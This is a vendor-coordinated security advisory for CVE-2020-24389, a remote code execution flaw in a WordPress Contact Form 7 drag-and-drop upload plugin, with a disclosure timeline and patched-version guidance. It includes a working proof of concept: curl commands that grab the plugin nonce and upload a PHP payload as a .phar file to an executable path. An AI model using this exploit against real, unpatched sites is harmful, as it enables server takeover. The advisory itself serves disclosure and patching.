[CVE-2020-24389] Remote Code Execution on Drag and Drop Multiple File Upload – Contact Form 7

Drag and Drop Multiple File Uploader is a simple, straightforward WordPress plugin extension for Contact Form7, which allows the user to upload multiple files using the drag-and-drop feature or the common browse-file of your webform. We discovered a remote code execution vulnerability in this plugin, because the validation of dangerous file extensions fails.

Description

Drag and Drop Multiple File Uploader is a simple, straightforward WordPress plugin extension for Contact Form7, which allows the user to upload multiple files using the drag-and-drop feature or the common browse-file dialog of your browser.

We discovered a remote code execution vulnerability in this plugin, because the validation of dangerous file extensions fails.

Threat

When a file is uploaded through this plugin, it tries to validate the extension against known dangerous extensions (for example: .php or .htaccess).
However, the extensions .phar and .phpt are not checked.

These extensions are enabled by default on a fresh PHP/Apache2 installation (the package libapache2-mod-php is responsible for this configuration). The extensions that are enabled depends on the PHP version.
This plugin does not have this issue inside a standard nginx installation (i.e. only .php files are interpreted as PHP code)

Expectation

The plugin should only allow extensions that are provided by the WordPress administrator using a whitelist.

Vulnerability records

CVE ID: CVE-2020-24389

Access Vector: network

Security Risk: critical

Vulnerability: CWE-20, CWE-434

CVSS Base Score: 10.0

CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Details

In the file /drag-and-drop-multiple-file-upload-contact-form-7/inc/dnd-upload-cf7.php, line 790, an array is created with all the extensions that the plugin aims to forbid (acting like a black list):


$not_allowed = array( 'php', 'php3','php4','phtml','exe','script', 'app', 'asp', 'bas', 'bat', 'cer', 'cgi', 'chm', 'cmd', 'com', 'cpl', 'crt', 'csh', 'csr', 'dll', 'drv', 'fxp', 'flv', 'hlp', 'hta', 'htaccess', 'htm', 'htpasswd', 'inf', 'ins', 'isp', 'jar', 'js', 'jse', 'jsp', 'ksh', 'lnk', 'mdb', 'mde', 'mdt', 'mdw', 'msc', 'msi', 'msp', 'mst', 'ops', 'pcd', 'php', 'pif', 'pl', 'prg', 'ps1', 'ps2', 'py', 'rb', 'reg', 'scr', 'sct', 'sh', 'shb', 'shs', 'sys', 'swf', 'tmp', 'torrent', 'url', 'vb', 'vbe', 'vbs', 'vbscript', 'wsc', 'wsf', 'wsf', 'wsh' );

Since there is a huge variety of file extensions that can be interpreted by the web server (i.e Apache), including PHP scripts, the plugin should only rely on a white list to authorize necessary extensions.

Moreover, the plugin does have a whitelist that can be configured by an administrator, but that list is sent by the client to the server and can be altered by modifying the HTTP request.

Proof of Concept : Executing the function phpinfo on the remote server

Steps :

  1. Search for a vulnerable contact page and keep the URL;

  2. Get a WordPress token (these tokens are tied to this plugin so it is not possible to forge them):

# curl -s <URL> | grep ajax_nonce | cut -c 24- - | jq -r ".ajax_nonce" 2>/dev/null

  1. Run the following curl command (don’t forget to replace the token and URL placeholders). Replace the PHP payload with whatever you want.
# curl '<URL>' -H 'Content-Type: multipart/form-data; boundary=---------------------------boundary' \
--data-binary $"-----------------------------boundary\n \
Content-Disposition: form-data; name='supported_type'\n\nphar\n-----------------------------boundary\n \ 
Content-Disposition: form-data; name='size_limit'\n\n10485760\n-----------------------------boundary\n \ 
Content-Disposition: form-data; name='action'\n\ndnd_codedropz_upload\n-----------------------------boundary\n \ 
Content-Disposition: form-data; name='security'\n\n<TOKEN>\n-----------------------------boundary\n \ 
Content-Disposition: form-data; name='upload-file'; filename='CVE.phar'\nContent-Type: whocares\n\n \
<?php\nphpinfo();\n\n\r\n\r\n-----------------------------boundary--\r\n"
  1. The uploaded PHP code should be accessible here:

<DOMAIN_NAME>/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/CVE.phar

Affected versions

Versions <= 1.3.5.4

Solution

Update to version >= 1.3.5.5

Timeline

  • 2020-08-17: Initial discovery
  • 2020-08-18: First e-mail contact
  • 2020-08-18: Sending all details to the vendor
  • 2020-08-26: Vendor publishing the fix
  • 2020-09-21: Public disclosure

Credits

  • Bertrand Nancy, Sysdream (b.nancy -at- sysdream -dot- com)

Recevez toute l'actualité en avant-première